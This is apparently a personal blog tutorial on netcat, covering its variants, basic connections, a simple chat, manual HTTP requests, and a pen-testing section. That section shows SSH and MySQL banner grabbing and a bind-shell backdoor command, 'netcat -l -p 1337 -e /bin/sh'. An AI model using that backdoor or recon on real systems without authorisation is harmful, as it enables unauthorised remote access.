Introduction
Netcat is a great tool for all things networking and is commonly nicknamed "the TCP/IP Swiss-army knife" due to its versatility and utility. An absolute must-know for sysadmins and hackers. In this article, I’ll go over a few common uses I have for it that I frequently forget after not using it for a while, primarily for my own personal reference.
Before I begin, I should point out that there are a few variants on netcat that have slightly different options and behaviors but are all essentially the same in "spirit and functionality", as the ncat man page describes it.
The original netcat comes from the OpenBSD package and was written by "Hobbit". This is the default version that comes with OS X and Ubuntu. The version that I use and will cover is the standard GNU Netcat, by Giovanni Giacobbi, which is a rewrite of the original. This available using brew on OS X. On Ubuntu it’s called "netcat-traditional" which you can apt-get
and then run with nc.traditional
. Lastly, there is ncat, which is a netcat implementation by our friends from the nmap team. It is designed to modernize netcat and adds features like SSL, IPv6, and proxying which aren’t available in the original(s).
Usage
At its core, netcat is a tool for creating arbitrary TCP connections, which looks like
$ netcat [host] [port]
where host is either an IP Address or a domain name, and port is the TCP port to connect to.
You can also use netcat to do the reverse: listen for arbitrary TCP connections. This looks like
$ netcat -l -p [port] [host]
Here, host is an optional parameter which lets you limit what host can create connections.
Example: Chat
Using these two behaviors, we can create a crude chat system. One one host, listen for connections on a port.
$ netcat -l -p 1337
On the same one, in another terminal, connect to it on that port.
$ nc localhost 1337
There won’t be a prompt, but when you enter text and press enter, it will appear in the other terminal. You can just as easily do this between different hosts and have a super basic chat setup.
Example: Curl-like behavior
You can also use netcat to emulate curl and interact with HTTP servers. Connect to the server on port 80 (or whatever port it’s running on) and you can then type out the HTTP request to send to it. When you’re finished, hit enter twice and it will send.
[mark:~]{ nc example.org 80
GET / HTTP/1.1
HTTP/1.1 400 Bad Request
Content-Type: text/html
Content-Length: 349
Connection: close
Date: Wed, 05 Mar 2014 20:15:42 GMT
Server: ECSF (mdw/1383)
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>400 - Bad Request</title>
</head>
<body>
<h1>400 - Bad Request</h1>
</body>
</html>
As you can see here, we sent a bare-bones HTTP request (GET / HTTP/1.1
) which was successfully sent to the server. The server responded with a 400, because our request didn’t contain enough information, but that’s not important; if we had filled in the right headers, it would have responded with the home page for example.org.
For Hackers
There are two applications for netcat that I find particularly useful in pen-testing situations.
Recon
The first is helpful for the recon stage, which is essentially getting information on your target. Sometimes network services may give away version information when an arbitrary network connection is made. For example, OpenSSH by default gives away it’s version information as well as information on the host, when you connect. For example,
$ netcat 1.2.3.4 22
SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.1
is typically what you might see. For an attacker, this is pretty valuable stuff! MySQL behaves similarly.
$ netcat 1.2.3.4 3306
J
5.5.33-.?2|>\8๏ฟฝ๏ฟฝ@x\E$"zeic2lmysql_native_password
The output isn’t as clear as OpenSSH, but we can confirm that MySQL is indeed running, and we can infer that the version is "5.5.33". For information on removing these banners, check out my blog post on it.
Persistence/Access
The other application is when you have achieved command execution, but not exactly shell access. You can use netcat to create a nifty backdoor which you can externally connect to. To create the backdoor, we’ll use the -e
flag to tell netcat to execute a binary on receiving a connection. We want a shell, so we’ll say -e /bin/sh
. The whole command will look like:
$ netcat -l -p 1337 -e /bin/sh
which will give you a backdoor on port 1337, which will then let you run commands upon connecting to that port. For a good example, check out my other blog post where I actually used this.
Conclusion
That was a quick overview of netcat including its basic functionality and some example use cases. Thanks for reading!